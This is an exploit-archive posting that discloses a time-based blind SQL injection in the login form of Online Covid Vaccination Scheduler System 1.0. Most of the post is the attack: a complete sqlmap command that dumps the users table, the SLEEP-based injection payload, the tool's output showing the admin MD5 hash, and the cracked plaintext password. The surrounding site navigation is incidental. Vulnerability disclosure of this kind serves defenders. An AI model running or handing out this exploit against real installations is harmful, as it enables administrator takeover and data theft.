Online Covid Vaccination Scheduler System 1.0 SQL Injection

Authored by faisalfs10x

Posted Jul 7, 2021

Online Covid Vaccination Scheduler System version 1.0 suffers from a remote time-based blind SQL injection vulnerability.

tags | exploit, remote, sql injection
SHA-256 | 32a4ebe3a2c4d0408162c566f003abfc0258309dc6f2635c17de7c4a2d850b46

Download | Favorite | View

Related Files

Share This

Like Twee LinkedIn Reddit Digg StumbleUpon

Change Mirror Download

```
# Exploit Title: Online Covid Vaccination Scheduler System 1.0 - 'username' time-based blind SQL Injection
# Date: 2021-07-07
# Exploit Author: faisalfs10x (https://github.com/faisalfs10x)
# Vendor Homepage: https://www.sourcecodester.com/
# Software Link: https://www.sourcecodester.com/sites/default/files/download/oretnom23/scheduler.zip
# Version: 1.0
# Tested on: Windows 10, XAMPP


################
# Description  #
################

The admin panel login can be assessed at http://{ip}/scheduler/admin/login.php. The username parameter is
vulnerable to time-based SQL injection.
Upon successful dumping the admin password hash, we can decrypt and obtain the plain-text password. Hence, we
could authenticate as Administrator.


###########
# PoC     #
###########

Run sqlmap to dump username and password:

$ sqlmap -u "http://localhost/scheduler/classes/Login.php?f=login" --data="username=admin&password=blabla" --
cookie="PHPSESSID=n3to3djqetf42c2e71257kspi5" --batch --answers="crack=N,dict=N,continue=Y,quit=N" -D scheduler
-T users -C username,password --dump


###########
# Output  #
###########

Parameter: username (POST)
    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: username=admin' AND (SELECT 7551 FROM (SELECT(SLEEP(5)))QOUn) AND 'MOUZ'='MOUZ&password=blabla
    Vector: AND (SELECT [RANDNUM] FROM (SELECT(SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR])

web server operating system: Windows
web application technology: PHP 5.6.24, Apache 2.4.23
back-end DBMS: MySQL >= 5.0.12 (MariaDB fork)
current database: 'scheduler'

Database: scheduler
Table: users
[1 entry]
+----------+----------------------------------+
| username | password                         |
+----------+----------------------------------+
| admin    | 0192023a7bbd73250516f069df18b500 |
+----------+----------------------------------+


The password is based on PHP md5() function. So, MD5 reverse for 0192023a7bbd73250516f069df18b500 is admin123
```

Login or Register to add favorites

Follow us on Twitter

Subscribe to an RSS Feed

File Archive: December 2022 <

Su	Mo	Tu	We	Th	Fr	Sa
				1	2	3
4	5	6	7	8	9	10
11	12	13	14	15	16	17
18	19	20	21	22	23	24
25	26	27	28	29	30	31

Top Authors In Last 30 Days

Red Hat 157 files
Ubuntu 76 files
LiquidWorm 23 files
Debian 21 files
nu11secur1ty 11 files
malvuln 11 files
Gentoo 9 files
Google Security Research 8 files
Julien Ahrens 4 files
T. Weber 4 files

File Tags

ActiveX (932)
Advisory (79,754)
Arbitrary (15,694)
BBS (2,859)
Bypass (1,619)
CGI (1,018)
Code Execution (6,926)
Conference (673)
Cracker (840)
CSRF (3,290)
DoS (22,602)
Encryption (2,349)
Exploit (50,359)
File Inclusion (4,165)
File Upload (946)
Firewall (821)
Info Disclosure (2,660)
Intrusion Detection (867)
Java (2,899)
JavaScript (821)
Kernel (6,291)
Local (14,201)
Magazine (586)
Overflow (12,419)
Perl (1,418)
PHP (5,093)
Proof of Concept (2,291)
Protocol (3,435)
Python (1,467)
Remote (30,044)
Root (3,504)
Ruby (594)
Scanner (1,631)
Security Tool (7,777)
Shell (3,103)
Shellcode (1,204)
Sniffer (886)

File Archives

December 2022
November 2022
October 2022
September 2022
August 2022
July 2022
June 2022
May 2022
April 2022
March 2022
February 2022
January 2022
Older

Systems

AIX (426)
Apple (1,926)
BSD (370)
CentOS (55)
Cisco (1,917)
Debian (6,634)
Fedora (1,690)
FreeBSD (1,242)
Gentoo (4,272)
HPUX (878)
iOS (330)
iPhone (108)
IRIX (220)
Juniper (67)
Linux (44,315)
Mac OS X (684)
Mandriva (3,105)
NetBSD (255)
OpenBSD (479)
RedHat (12,469)
Slackware (941)
Solaris (1,607)

Spoof (2,166)
SQL Injection (16,102)
TCP (2,379)
Trojan (686)
UDP (876)
Virus (662)
Vulnerability (31,136)
Web (9,365)
Whitepaper (3,729)
x86 (946)
XSS (17,494)
Other

SUSE (1,444)
Ubuntu (8,199)
UNIX (9,159)
UnixWare (185)
Windows (6,511)
Other

packet storm

Site Links

News by Month
News Tags
Files by Month
File Tags
File Directory

About Us

History & Purpose
Contact Information
Terms of Service
Privacy Statement
Copyright Information

Hosting By

Rokasec

Follow us on Twitter

Subscribe to an RSS Feed